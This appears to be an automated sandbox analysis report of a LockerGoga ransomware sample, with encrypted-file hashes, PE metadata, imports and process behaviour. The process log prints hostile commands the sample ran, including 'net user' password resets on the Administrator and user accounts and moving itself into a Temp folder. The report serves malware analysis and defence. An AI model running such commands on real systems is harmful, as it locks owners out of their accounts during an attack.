C:\Users\user\Documents\EOWRVPQCCS.xlsx.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	1174
Entropy (8bit):	7.865550027855788
Encrypted:	false
MD5:	78F1220DAD192E0D8626EDD7812E4936
SHA1:	8A5D2910B33C1F1D595182F6CB9EEBE66F00919F
SHA-256:	32AE80B7B1CC2E1F595DB418D2ACC57AC0C849231085ADD0D51B6524464035C4
SHA-512:	870DA8633B03D4877ECAA1266944FADF8B1CA0BEC08D297BFE25E7A3B8D30A170D0C5DAE8C9E2B17F76028463B4CE6CEDD9E139542D065C2A013E9D00FB760B4
Malicious:	false

C:\Users\user\Documents\EWZCVGNOWT.docx.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	1174
Entropy (8bit):	7.815449150769175
Encrypted:	false
MD5:	8CB11513DDCA916D7C68429AF54A54B7
SHA1:	A401399B39876DF3AA9D7667C94529365A09D90E
SHA-256:	7DB1657B810793FF92B281F2432FFAA1E6A8CEF364A56635E157FA60CD8C8613
SHA-512:	A66A740BD9CCA4AFCE335AC1E3E08911229254D94F2124EC479FDE4E72989173B1CDF89B15577F33C5BF6B50F088A89F3B083D58033B5A4DFC3807CD829349AD
Malicious:	false

C:\Users\user\Documents\EWZCVGNOWT.xlsx.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	1174
Entropy (8bit):	7.840410842072193
Encrypted:	false
MD5:	98BD0646F5110B6C9E39199CBE5583B5
SHA1:	728AAF9CFB2622670034BE1EA965B19A4C7E468A
SHA-256:	4AACB29F4EF8A8CCF8618F25A85447D2437560AECD748C517D396E8C30698660
SHA-512:	FFA7D3A7D6D7BAB3B06FF248703FC65C73FDF5E6377C3C711486D3E61ACA2E1D8126D68B5CEF24E2AA6D30468B76CE119B2CDB3ABEC8EBDDF36CE55F329587EA
Malicious:	false

C:\Users\user\Documents\EWZCVGNOWT\EWZCVGNOWT.docx.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	compacted data
Size (bytes):	1174
Entropy (8bit):	7.820538046009014
Encrypted:	false
MD5:	9B0CC991D481662F5C9D1F0078661377
SHA1:	C633DB0DEFCCF1ECD62C8712C173C88FF50528AA
SHA-256:	4EA22DBC7E78F750BBD0E0EF2E1F55BF16BCE66B8800C57944C2383A83FB786C
SHA-512:	E09276CF7FCF39053217635BA147E8FB53A7002176C61158B83917AE05FB18BF3306D81BCAF572E4D25333000F02FC65D5F01B2A650D3B0B7C61F41554560A36
Malicious:	false

C:\Users\user\Documents\EWZCVGNOWT\JDDHMPCDUJ.xlsx.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	1174
Entropy (8bit):	7.823103250591336
Encrypted:	false
MD5:	F2325C68E9540AADB76366EE1F990A5F
SHA1:	690AC9FF2B85A183CA48A90D0554A8CC37334D5B
SHA-256:	D860C524111DA628C960086D58E6A3150B672E313DA12D27DEAB875B3B43DAD5
SHA-512:	56E3DE68D48A9E386B1636CF64C3858AB19A23CACF54093D4F396E914637FB0E34C4B19407E9386B775AB3268A596CD88779D9B228EB0DF74085D415A2ECB027
Malicious:	false

C:\Users\user\Documents\EWZCVGNOWT\NWCXBPIUYI.pdf.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	1174
Entropy (8bit):	7.822410246992836
Encrypted:	false
MD5:	05BA2600B18FD1304DCFA338811544FF
SHA1:	62CDACD70CF27F7F6C52A4540F582C8EC3D933A9
SHA-256:	31A488915134AEB9575D73B7F175E901DC3B33BCA1F858EA691EAB1CDAFB73C0
SHA-512:	B80C270D530310D7E583ACC5174C3C3BA4A269C20A8BC3BFAFDDAD1F7BBCFDCEA53A2F25D3A1DA88EAE53C7771546B058B722B262A4741FBA8419D9E375F1B58
Malicious:	false

C:\Users\user\Documents\JDDHMPCDUJ.xlsx.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	PGP\011Secret Sub-key -
Size (bytes):	1174
Entropy (8bit):	7.825436291550597
Encrypted:	false
MD5:	749B1E559368128F9BCA3106A1907329
SHA1:	3D92180098041A690F9D487EB5ABA2B8BF9F1885
SHA-256:	344274CEF74FF09CA96E8C786E05BC83920809C8FC51DA328C225AB8FDD37743
SHA-512:	E808B7F7EEE2B7CB92FA347F2134FDE6846A6032A409B8FA527E56099302D9D26747607616A8C8D980C53514166A3BD5860DDFD17D1D78E293DE483CEEE38329
Malicious:	false

C:\Users\user\Documents\KLIZUSIQEN.pdf.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	1174
Entropy (8bit):	7.83013777077954
Encrypted:	false
MD5:	3F495E4F7FE8DDB80FB834B8DD16FECD
SHA1:	2B51A0ACDEF271D2264E9A9B20E4830B18B35291
SHA-256:	9A58871251C80996F6672F0CEFEA2F80476258BE182922514BDE42508B3391FD
SHA-512:	2D492FB9C39A78EC34A8D77DEA3E1465CCD10603C4D123A7BC82C58768599BE74BC2AFD8738E2C0A411E640CF3AE150789DE53642A8BBB46EE59A1E7F45DDDDE
Malicious:	false

C:\Users\user\Documents\KLIZUSIQEN.xlsx.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	1174
Entropy (8bit):	7.805206563832197
Encrypted:	false
MD5:	D98A617F6F1A126AEF76604DF883CF6F
SHA1:	676A3DBAE99F7134682C6164C1DCB04B7F51388C
SHA-256:	24B3533FAC039BB45F37BEF1F9D59A0C004FBE3F18354312212BB4E98F9BD2B9
SHA-512:	779253CC0F11218DC5F0857C7CB091920ADF50BCCADBA003169CE0581A822FA50DC98B34BBCC2AD92049CE60B1EC84DBE850295892CC827AD94BB8C7FB20C388
Malicious:	false

C:\Users\user\Documents\NWCXBPIUYI.pdf.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	1174
Entropy (8bit):	7.83240727684368
Encrypted:	false
MD5:	7D5064A8F786FB5D143C8475DABD934D
SHA1:	085A2EB63FDC3BA3E3484B59CD94906B57D27B08
SHA-256:	21C6E683D4B7669831ECBC6F75E601BD9686C5CD5961FCB12C9792E27086A83D
SHA-512:	BCEDB7052402ADAD8FC41683417E177308483FF57ADC8C788DF1C98462E7CDF47764F85FBB9B9F3B0A4F1ABDC10B306C1DE956325332804A134645A61663A6CA
Malicious:	false

C:\Users\user\Documents\QCOILOQIKC.pdf.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	1174
Entropy (8bit):	7.843828008530393
Encrypted:	false
MD5:	EE1E875DD52B2253884789A4D8AC1AC7
SHA1:	3133A0217DCDC681D3CC764D11EAE3049E640A7B
SHA-256:	FFD0A58EEA8E87A8E75C50247F312B2892659C3073E7E2856A081FA17B3948D7
SHA-512:	277E58DE5B845035B4B4FD29BF0722F32E244BCBB60A1950323101021233A12819E0CDF0A0E80D65EFDE901390D603426DACC6A652E692D343BF0DB895FE4584
Malicious:	false

C:\Users\user\Documents\ZGGKNSUKOP.docx.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	1174
Entropy (8bit):	7.829890152983931
Encrypted:	false
MD5:	832B472D0BBD59F04F63D810322FAAFF
SHA1:	DDBA3B7481D27E9BA60D8D15EB7E59E12F4F8245
SHA-256:	48FFDDCE40C5C2D8EF019A19E018622E4795C7F9D8E88CDF08BCA52EA90DE472
SHA-512:	2FFB2AC5C2928620480FA8082AE3659F104FF7AFE5A785E7E14BA118EB8BBF59B83DE2292A6AAC305C183D88E3A07EA58D2E99CC22BC5D2AD148C1223FF03ED2
Malicious:	false

C:\Users\user\Documents\ZGGKNSUKOP.pdf.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	1174
Entropy (8bit):	7.822633499377046
Encrypted:	false
MD5:	712F7C54F8541AAD4987B8C8A430E796
SHA1:	5433EA04F321604185891876768E370DD6E8877E
SHA-256:	D004FC60A511FE4D1C355AD4BE9DF0B5D2D0BF729512A41E3095C55581A58AC1
SHA-512:	8996B5A659A823A736436277364B9AA75366F5F7FA90035940009693C20A23E33B1BB2436AE3714A46DE413EAEB680DBD21B3ED10FFDFE61B6695A9A0B593AC8
Malicious:	false

C:\Users\user\Documents\ZGGKNSUKOP\EWZCVGNOWT.xlsx.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	1174
Entropy (8bit):	7.827919705924078
Encrypted:	false
MD5:	8149354BB15FFBFB2FD8B3D62E05068B
SHA1:	195659095E0A0BA478CD4D301C415F0317DAE7BC
SHA-256:	20CCB37FE1CE447780E6431F3723487045F08245BCBDD5E19CFFC949CDC57047
SHA-512:	4421AFB678F4C2F48E9ECBB421F2A2F6B3BC1B5A4538C45B143697BD639F0655A0C2DCDFA312FC5389B493C23064C6849FFDF8584309247A24E37AD7E38C5C5E
Malicious:	false

C:\Users\user\Documents\ZGGKNSUKOP\KLIZUSIQEN.pdf.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	1174
Entropy (8bit):	7.840142623351961
Encrypted:	false
MD5:	FE213DA5BDAEEC94B33E38F7410380D2
SHA1:	3EA20D3937438FA30084FE86053DEFA1E51D8D8F
SHA-256:	6D1A6F936091AED26C932D8D125D382E0E62FFC90FB66F1E4C8D340E932935AB
SHA-512:	19A1FC903FC4DBD2B58D0023CDBFA4B9A3BF51D6F6243EC8927B0B1E5348F435503A8B3287ABFF4ED2E04F9E9FB9B6A47D10248E314C17C7BDFD0C2640ACC50C
Malicious:	false

C:\Users\user\Documents\ZGGKNSUKOP\ZGGKNSUKOP.docx.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	1174
Entropy (8bit):	7.838142003179143
Encrypted:	false
MD5:	8CB071E0236FD46D14F7D1B8808D608D
SHA1:	A39DFB386EACE28E3906C08B7A81DDCDD96081E3
SHA-256:	527F118E5C45242D5311EB6653A1B3C8753C55969B7C284787878B4CDD8B4426
SHA-512:	B58E858B06656A4ED0A2B8FC56A60FF550BFD565FE246DBCB95403942C897EC2C90CCFD33E198A1E5546DA4CF9A7E853AED9E68D324B00F2FBAD104AE187BE55
Malicious:	false

Domains and IPs

Contacted Domains

No contacted domains info

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://www.symauth.com/rpa0)	tgytutrc3979.exe, 00000022.00000003.2524218394.01D1C000.00000004.sdmp	false	high
http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s	LockerGogaRecent.exe	false	high
http://ocsp.sectigo.com0	LockerGogaRecent.exe	false	high
http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#	LockerGogaRecent.exe	false	high
http://www.symauth.com/cps0(	tgytutrc3979.exe, 00000022.00000003.2524218394.01D1C000.00000004.sdmp	false	high
http://www.symauth.com/rpa00	tgytutrc3979.exe, 00000022.00000003.2519870637.01D05000.00000004.sdmp	false	high
https://sectigo.com/CPS0C	LockerGogaRecent.exe	false	high

Contacted IPs

No contacted IP infos

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.635321539851707
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	LockerGogaRecent.exe
File size:	1268600
MD5:	e11502659f6b5c5bd9f78f534bc38fea
SHA1:	b5fd5c913de8cbb8565d3c7c67c0fbaa4090122b
SHA256:	c97d9bbc80b573bdeeda3812f4d00e5183493dd0d5805e2508728f65977dda15
SHA512:	86c8d4556c9e0b7d60ccbfee430eb322388449506ab515549cb8d2785582671f2dc2d2a3bd9daded9853caa8bf94d9f92603a3bc527172a85dc7a83d701f7fd0
SSDEEP:	24576:645Rt4El7fc/TFJzjJUgrrCq5sNIwQsUGy1q7a9DlIACTp+kqGslRG:Rjt4El7fc/TFJWstwQsPdSDuACTpqhG
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........4...U...U...U..N.J..U..N.H.YU..N.I..U...=...U...=...U...=...U...-8..U...-(..U...U..)U..i<...U..h<...U..i<...U..i<D..U...U,..U.

File Icon


Icon Hash:	aab2e3e39383aa00

Static PE Info

General
Entrypoint:	0x49d54b
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE, REMOVABLE_RUN_FROM_SWAP, NET_RUN_FROM_SWAP
DLL Characteristics:	TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x5C8F5FEA [Mon Mar 18 09:07:54 2019 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	ce51c671c94cce6379a0f6823fad4112

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Sectigo RSA Code Signing CA, O=Sectigo Limited, L=Salford, S=Greater Manchester, C=GB
Signature Validation Error:	A required certificate is not within its validity period when verifying against the current system clock or the timestamp in the signed file
Error Number:	-2146762495
Not Before, Not After	2/22/2019 1:00:00 AM 2/22/2020 12:59:59 AM
Subject Chain	CN=ALISA LTD, O=ALISA LTD, STREET=71-75 Shelton Street Covent Garden, L=LONDON, S=LONDON, PostalCode=WC2H 9JQ, C=GB
Version:	3
Thumbprint:	ACB38D45108C4F0C8894040646137C95E9BB39D8
Serial:	5DA173EB1AC76340AC058E1FF4BF5E1B

Entrypoint Preview

Instruction
call 00007FDF00AE68A5h
jmp 00007FDF00AE588Fh
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
push edi
push esi
push ebx
xor edi, edi
mov eax, dword ptr [esp+14h]
or eax, eax
jnl 00007FDF00AE5A26h
inc edi
mov edx, dword ptr [esp+10h]
neg eax
neg edx
sbb eax, 00000000h
mov dword ptr [esp+14h], eax
mov dword ptr [esp+10h], edx
mov eax, dword ptr [esp+1Ch]
or eax, eax
jnl 00007FDF00AE5A26h
inc edi
mov edx, dword ptr [esp+18h]
neg eax
neg edx
sbb eax, 00000000h
mov dword ptr [esp+1Ch], eax
mov dword ptr [esp+18h], edx
or eax, eax
jne 00007FDF00AE5A2Ah
mov ecx, dword ptr [esp+18h]
mov eax, dword ptr [esp+14h]
xor edx, edx
div ecx
mov ebx, eax
mov eax, dword ptr [esp+10h]
div ecx
mov edx, ebx
jmp 00007FDF00AE5A53h
mov ebx, eax
mov ecx, dword ptr [esp+18h]
mov edx, dword ptr [esp+14h]
mov eax, dword ptr [esp+10h]
shr ebx, 1
rcr ecx, 1
shr edx, 1
rcr eax, 1
or ebx, ebx
jne 00007FDF00AE5A06h
div ecx
mov esi, eax
mul dword ptr [esp+1Ch]
mov ecx, eax
mov eax, dword ptr [esp+18h]
mul esi
add edx, ecx
jc 00007FDF00AE5A20h
cmp edx, dword ptr [esp+14h]
jnbe 00007FDF00AE5A1Ah
jc 00007FDF00AE5A19h
cmp eax, dword ptr [esp+10h]
jbe 00007FDF00AE5A13h
dec esi
xor edx, edx
mov eax, esi
dec edi
jne 00007FDF00AE5A19h
neg edx
neg eax
sbb edx, 00000000h
pop ebx
pop esi
pop edi
retn 0010h

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x11d3e4	0xc8	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x12b000	0x508	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x134800	0x1378	.reloc
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x12c000	0xe228	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x103190	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x1031b0	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xea000	0x31c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xe8032	0xe8200	False	0.472271304523	data	6.65764385984	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0xea000	0x346ce	0x34800	False	0.38517485119	data	5.00574077597	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x11f000	0xb6fc	0x9000	False	0.162326388889	data	4.9060043512	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x12b000	0x508	0x600	False	0.40625	data	3.71325705645	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x12c000	0xe228	0xe400	False	0.569764254386	data	6.55486660464	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_VERSION	0x12b0a0	0x2dc	data	English	United States
RT_MANIFEST	0x12b380	0x188	XML 1.0 document text	English	United States

Imports

DLL	Import
SHLWAPI.dll	PathIsNetworkPathA
NETAPI32.dll	NetUserEnum, NetApiBufferFree, NetUserGetLocalGroups
IPHLPAPI.DLL	GetAdaptersAddresses
Secur32.dll	LsaEnumerateLogonSessions, LsaFreeReturnBuffer, LsaGetLogonSessionData
KERNEL32.dll	GetTickCount, MapViewOfFileEx, GetCommandLineW, GetCurrentProcess, ReleaseSemaphore, Wow64DisableWow64FsRedirection, OutputDebugStringA, InterlockedDecrement, TerminateProcess, WaitForSingleObject, GetCurrentThreadId, GetSystemDirectoryW, FreeEnvironmentStringsW, DuplicateHandle, GetModuleHandleA, GetLogicalDriveStringsW, MultiByteToWideChar, ProcessIdToSessionId, Sleep, FormatMessageW, Wow64RevertWow64FsRedirection, GetLastError, SetEvent, TlsAlloc, WaitForSingleObjectEx, CloseHandle, GetSystemInfo, GetWindowsDirectoryW, GetProcAddress, LocalFree, GetCurrentProcessId, CreateProcessW, WideCharToMultiByte, CreateProcessA, InterlockedIncrement, TlsFree, FormatMessageA, CreateEventA, GetEnvironmentStringsW, GetDriveTypeW, GetExitCodeProcess, GetFileAttributesExW, SwitchToThread, LoadLibraryExW, CreateMutexA, ReleaseMutex, OpenMutexA, OpenFileMappingA, OpenProcess, HeapAlloc, GetProcessHeap, GetEnvironmentVariableW, GetCurrentDirectoryW, CreateFileW, DeleteFileW, FindClose, FindFirstFileW, FindNextFileW, GetFileAttributesW, RemoveDirectoryW, SetEndOfFile, SetFileAttributesW, SetFilePointerEx, DeviceIoControl, GetModuleHandleW, MoveFileExW, SetLastError, GetCurrentThread, GetThreadTimes, QueryPerformanceCounter, QueryPerformanceFrequency, SetEnvironmentVariableA, GetOEMCP, IsValidCodePage, ReadConsoleW, ReadFile, EnumSystemLocalesW, GetUserDefaultLCID, IsValidLocale, UnmapViewOfFile, InterlockedExchange, AreFileApisANSI, HeapSize, HeapFree, CreateFileMappingA, GetTimeZoneInformation, FindFirstFileExA, FindNextFileA, SetStdHandle, WriteConsoleW, FreeLibrary, GetTimeFormatW, GetDateFormatW, HeapReAlloc, GetExitCodeThread, GetNativeSystemInfo, GetStringTypeW, EnterCriticalSection, LeaveCriticalSection, TryEnterCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, CreateEventW, TlsGetValue, TlsSetValue, GetSystemTimeAsFileTime, EncodePointer, DecodePointer, GetCPInfo, CompareStringW, LCMapStringW, GetLocaleInfoW, InitializeSListHead, IsProcessorFeaturePresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, GetStartupInfoW, CreateTimerQueue, SignalObjectAndWait, CreateThread, SetThreadPriority, GetThreadPriority, GetLogicalProcessorInformation, CreateTimerQueueTimer, ChangeTimerQueueTimer, DeleteTimerQueueTimer, GetNumaHighestNodeNumber, GetProcessAffinityMask, SetThreadAffinityMask, RegisterWaitForSingleObject, UnregisterWait, FreeLibraryAndExitThread, GetModuleFileNameW, GetVersionExW, VirtualAlloc, VirtualProtect, VirtualFree, InterlockedPopEntrySList, InterlockedPushEntrySList, InterlockedFlushSList, QueryDepthSList, UnregisterWaitEx, LoadLibraryW, RtlUnwind, RaiseException, GetCommandLineA, ExitThread, GetModuleHandleExW, ExitProcess, GetModuleFileNameA, GetStdHandle, WriteFile, GetACP, GetFileType, FlushFileBuffers, GetConsoleCP, GetConsoleMode
SHELL32.dll	SHGetFolderPathW, SHGetFileInfoW
ole32.dll	CoCreateInstance, CoUninitialize, CoInitialize
ADVAPI32.dll	SetSecurityDescriptorDacl, CryptGenRandom, CryptReleaseContext, CryptAcquireContextA, AllocateAndInitializeSid, FreeSid, LookupAccountSidW, CloseServiceHandle, OpenSCManagerW, ControlService, EnumDependentServicesW, OpenServiceW, QueryServiceStatusEx, LookupPrivilegeValueW, AdjustTokenPrivileges, OpenProcessToken, InitializeSecurityDescriptor
WS2_32.dll	WSAStartup, WSACleanup

Version Infos

Description	Data
LegalCopyright	Copyright (C) ALISA LTD 2019
InternalName	tgytutrc
FileVersion	1.5.1.0
CompanyName	ALISA LTD
ProductName	Service tgytutrc
ProductVersion	1.5.1.0
FileDescription	Background Tasks Host
OriginalFilename	tgytutrc
Translation	0x0000 0x04b0

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

No network behavior found

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

Behavior

Click to jump to process

System Behavior

Analysis Process: LockerGogaRecent.exe PID: 2644 Parent PID: 3596

General

Start time:	10:10:06
Start date:	20/03/2019
Path:	C:\Users\user\Desktop\LockerGogaRecent.exe
Wow64 process (32bit):	false
Commandline:	'C:\Users\user\Desktop\LockerGogaRecent.exe'
Imagebase:	0x50000
File size:	1268600 bytes
MD5 hash:	E11502659F6B5C5BD9F78F534BC38FEA
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: cmd.exe PID: 2188 Parent PID: 2644

General

Start time:	10:10:07
Start date:	20/03/2019
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c move /y C:\Users\user\Desktop\LockerGogaRecent.exe C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe
Imagebase:	0x4a4b0000
File size:	302592 bytes
MD5 hash:	AD7B9C14083B52BC532FBA5948342B98
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: tgytutrc3979.exe PID: 2344 Parent PID: 2644

General

Start time:	10:10:07
Start date:	20/03/2019
Path:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe -m
Imagebase:	0x50000
File size:	1268600 bytes
MD5 hash:	E11502659F6B5C5BD9F78F534BC38FEA
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: logoff.exe PID: 2300 Parent PID: 2344

General

Start time:	10:10:08
Start date:	20/03/2019
Path:	C:\Windows\System32\logoff.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\logoff.exe
Imagebase:	0x690000
File size:	21504 bytes
MD5 hash:	7BF2B91D4F9B26409974A93E63E5E895
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: logoff.exe PID: 2492 Parent PID: 2344

General

Start time:	10:10:08
Start date:	20/03/2019
Path:	C:\Windows\System32\logoff.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\logoff.exe
Imagebase:	0x690000
File size:	21504 bytes
MD5 hash:	7BF2B91D4F9B26409974A93E63E5E895
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: logoff.exe PID: 2452 Parent PID: 2344

General

Start time:	10:10:08
Start date:	20/03/2019
Path:	C:\Windows\System32\logoff.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\logoff.exe
Imagebase:	0x690000
File size:	21504 bytes
MD5 hash:	7BF2B91D4F9B26409974A93E63E5E895
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: logoff.exe PID: 2656 Parent PID: 2344

General

Start time:	10:10:08
Start date:	20/03/2019
Path:	C:\Windows\System32\logoff.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\logoff.exe
Imagebase:	0x690000
File size:	21504 bytes
MD5 hash:	7BF2B91D4F9B26409974A93E63E5E895
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: logoff.exe PID: 2768 Parent PID: 2344

General

Start time:	10:10:09
Start date:	20/03/2019
Path:	C:\Windows\System32\logoff.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\logoff.exe
Imagebase:	0x690000
File size:	21504 bytes
MD5 hash:	7BF2B91D4F9B26409974A93E63E5E895
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: logoff.exe PID: 2792 Parent PID: 2344

General

Start time:	10:10:09
Start date:	20/03/2019
Path:	C:\Windows\System32\logoff.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\logoff.exe
Imagebase:	0x690000
File size:	21504 bytes
MD5 hash:	7BF2B91D4F9B26409974A93E63E5E895
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: net.exe PID: 2880 Parent PID: 2344

General

Start time:	10:10:09
Start date:	20/03/2019
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\net.exe user Administrator HuHuHUHoHo283283@dJD
Imagebase:	0xf60000
File size:	46080 bytes
MD5 hash:	B9A4DAC2192FD78CDA097BFA79F6E7B2
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: net1.exe PID: 2876 Parent PID: 2880

General

Start time:	10:10:09
Start date:	20/03/2019
Path:	C:\Windows\System32\net1.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\net1 user Administrator HuHuHUHoHo283283@dJD
Imagebase:	0xbd0000
File size:	142336 bytes
MD5 hash:	2041012726EF7C95ED51C15C56545A7F
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: net.exe PID: 1300 Parent PID: 2344

General

Start time:	10:10:10
Start date:	20/03/2019
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\net.exe user user HuHuHUHoHo283283@dJD
Imagebase:	0x7a0000
File size:	46080 bytes
MD5 hash:	B9A4DAC2192FD78CDA097BFA79F6E7B2
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: net1.exe PID: 2488 Parent PID: 1300

General

Start time:	10:10:10
Start date:	20/03/2019
Path:	C:\Windows\System32\net1.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\net1 user user HuHuHUHoHo283283@dJD
Imagebase:	0x460000
File size:	142336 bytes
MD5 hash:	2041012726EF7C95ED51C15C56545A7F
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: tgytutrc3979.exe PID: 684 Parent PID: 2344

General

Start time:	10:10:11
Start date:	20/03/2019
Path:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe -i SM-tgytutrc -s
Imagebase:	0x50000
File size:	1268600 bytes
MD5 hash:	E11502659F6B5C5BD9F78F534BC38FEA
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: tgytutrc3979.exe PID: 4064 Parent PID: 2344

General

Start time:	10:10:12
Start date:	20/03/2019
Path:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe -i SM-tgytutrc -s
Imagebase:	0x50000
File size:	1268600 bytes
MD5 hash:	E11502659F6B5C5BD9F78F534BC38FEA
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

